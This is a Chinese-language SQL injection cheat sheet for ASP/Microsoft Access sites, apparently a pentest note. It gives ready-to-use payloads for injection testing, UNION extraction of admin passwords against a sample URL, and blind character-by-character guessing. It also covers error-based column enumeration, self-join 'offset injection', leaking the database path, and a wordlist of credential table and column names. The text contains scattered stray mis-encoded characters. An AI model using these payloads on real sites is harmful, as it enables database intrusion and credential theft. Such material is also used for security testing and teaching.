注入判斷:
單引號:'
數(shù)字型:and 1=1 /and 1=2
字符型:' and '1'='1 /' and '1'='2
搜索型:%' and 1=1 and '%'=' / %' and 1=2 and '%'='
Asp注入的三種方法:
第一種:聯(lián)合查詢
1.使用order by對數(shù)據(jù)進行排序将硝,判斷存在多少個列表
order by 22 正確
order by 23 錯誤
2.使用UNION聯(lián)合查詢判斷
+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+admin
這里猜測表名為admin,使用聯(lián)合查詢的方法
3.猜解列名填入前端顯示處返回列表內(nèi)容
http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400 +UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22+from+admin
第二種:猜解
2.1爆破的方式
猜表名
返回正確說明存在相關(guān)表名
AND exists(select * from tablesname)
猜列名
返回正確說明列名存在
AND exists(select columnsname from tablesname)
特殊方法:
在Access數(shù)據(jù)庫里野舶,也支持having 和 group by 語句
A贰军、如果站點SQL查詢語句為 select id,name,address from 表名
也就是說查詢的是特定的字段數(shù)據(jù)(而不是*)盖桥,那么我們可以這么爆崭孤,
productshow.asp?id=25 group by 1 having 1=1(數(shù)字型),
如果字符型就 'group by 1 having '1'='1'
返回錯誤:
Microsoft JET Database Engine (0x80040E21)
試圖執(zhí)行的查詢中不包含作為合計函數(shù)一部分的特定表達式 'id' 签杈。
爆出id字段规脸,繼續(xù),productshow.asp?id=25 group by 1,id having 1=1
返回錯誤:
Microsoft JET Database Engine (0x80040E21)
試圖執(zhí)行的查詢中不包含作為合計函數(shù)一部分的特定表達式 'email' 秘案。
依次類推productshow.asp?id=25 group by 1,id,email having 1=1砰苍,可以爆出目標表中的所有字段
B、如果站點SQL查詢語句為select * from product where id=”ID”
那么執(zhí)行上述語句就會返 回這樣的錯誤:
Microsoft JET Database Engine 錯誤 '80040e21' 不能將已選定'*'的字段中組合阱高。/productshow.asp赚导,行 18
這時我們可以這樣爆字段,
productshow.asp?id=25 having sum(1)=1(數(shù)字型)
' having sum('1')='1')(字符型)
返回的錯誤:
Microsoft JET Database Engine 錯誤 '80040e21' 試圖執(zhí)行的查詢中不包含作為合計函數(shù)一部分的特定表達式 'id' 赤惊。/productshow.asp吼旧,行 18
可以看到爆出了ID。
但這樣很有局限性未舟,只能爆出第一個字段id圈暗,其他的就沒辦法了。而id字段其實可能是可以直接猜出來的裕膀。
2.2逐字猜解的方法
猜解列中內(nèi)容的行數(shù)
x為內(nèi)容的行數(shù)大于等于0開始员串,返回正確說明存在
AND IIF((SELECT COUNT(*) FROM tablesname) = X, 1, 0)
如下表單為admin,AND IIF((SELECT COUNT(*) FROM tablesname) = X, 1, 0)
猜解內(nèi)容的長度
如果目標注入點不直接回顯錯誤信息昼扛,則我們需要首先知道目標字段內(nèi)容的長度寸齐,才能進一步通過寫腳本爆破出字段內(nèi)容。
需要已知表名和列名然后猜列中字段長度
AND IIF((SELECT TOP 1 LEN(columnsname) FROM tablesname) = x, 1, 0)
或者
and (select top 1 len(columnsname)from tablesname)>x
猜解內(nèi)容
and (select top 1 asc(mid(列名,位數(shù),1)) from 表名)>97
神奇的分割線
Access偏移注入
偏移注入的使用條件如下:
主查詢語句的字段數(shù)大于或等于目標表列的兩倍最好抄谐,這樣一般都能顯示齊渺鹦。
知道目標表的一個字段,比如id蛹含,但是卻不知道其他字段海铆。
簡單說下偏移注入原理:
1.Union聯(lián)合查詢需要列相等,順序一樣挣惰;
2.這句話就是說把admin表記為a卧斟,同時也記為b殴边,然后查詢條件是a表的id列與b表的id列相等,返回所有相等的行珍语。顯然锤岸,a、b都是同一個表板乙,當(dāng)然全部返回啦是偷。
select * from admin as a inner join admin as b on a.id=b.id
(1)order by 判斷存在的字段數(shù)
使用*號代替所有字段直到訪問返回正確。這里可以看到16時候正確募逞,同時也表示admin下有6個字段蛋铆。
http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
(2) 計算偏移后剩余的字段位數(shù)
公式 : 總字段數(shù)-(總字段數(shù)-剩余字段數(shù))*2=
例: 22-(22-16)*2=10
(3) 使用偏移查看是否直接爆出字段內(nèi)容
union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)
(4)如果顯示不完全添加新的id
星號*代表了所有字段,如你查admin表放接,他有幾個字段刺啦,那么星號就代表幾個字段。
如果爆出的內(nèi)容不在可顯示字段怎么辦纠脾?那么添加a.id字段玛瘸,bid字段
union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
(5)如果依然有問題,可以進行二級偏移
二級偏移同時需要再減去admin的字段數(shù)量6個苟蹈,同時添加c.id
http://192.168.3.9/Production/PRODUCT_DETAIL.asp?id=1400 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
這里假設(shè)主語句查詢字段共20個糊渊,目標表admin字段數(shù)為5。
大家是否覺得很疑惑:10+2 + 5*2 = 22 > 20
但這條語句是合法的慧脱。因為a.id和 b.id在 * 里是有的渺绒,那么自動去掉重復(fù)的元素以保持結(jié)果集合里元素的唯一性。這樣一來雖然查詢效果一樣菱鸥,但是*里的字段排列順序卻被打亂了芒篷!先后兩次打亂很有可能讓username、password等字段偏移到可顯示位置采缚。
如果還沒成功 怎么辦针炉?
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,c.id,d.id,* from (((admin as ainner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)
其他技巧
檢測數(shù)據(jù)庫是否開啟沙箱模式
SELECT * FROM users WHERE id=1 UNION SELECT curdir() FROM MsysAccessObjects WHERE 1=1
用TOP代替LIMIT
LIMIT不被支持,但在查詢中可以聲明”TOP N”來限制返回內(nèi)容的行數(shù):
UNION SELECT TOP 3 AttrName FROM validTableName
字符串連接
支持CONCAT()函數(shù)扳抽,可以使用”&”或”+”操作來連接兩個字符串篡帕。在使用時必須對這兩個操作符進行URLencode編碼
UNION SELECT 'web' %2b 'app' FROM validTableName : 返回"webapp"
UNION SELECT 'web' %26 'app' FROM validTableName : 返回"webapp"
爆數(shù)據(jù)庫路徑
可以通過對一個不存在的庫進行SELECT操作,Access將會返回一條包含有完整路徑的錯誤信息:
UNION SELECT 1 FROM ThisIsAFakeName.FakeTable
表名/列名字典
account, accnts, accnt, user_id, members, usrs, usr2, accounts, admin, admins, adminlogin, auth, authenticate, authentication, account, access;
customers, customer, config, conf, cfg;
hash;
login, logout, loginout, log;
member, memberid;
password, pass_hash, pass, passwd, passw, pword, pwrd, pwd;
store, store1, store2, store3, store4, setting;
username, name, user, user_name, user_username, uname, user_uname, usern, user_usern, un, user_un, usrnm, user_usrnm, usr, usernm, user_usernm, user_nm, user_password, userpass, user_pass, , user_pword, user_passw, user_pwrd, user_pwd, user_passwd;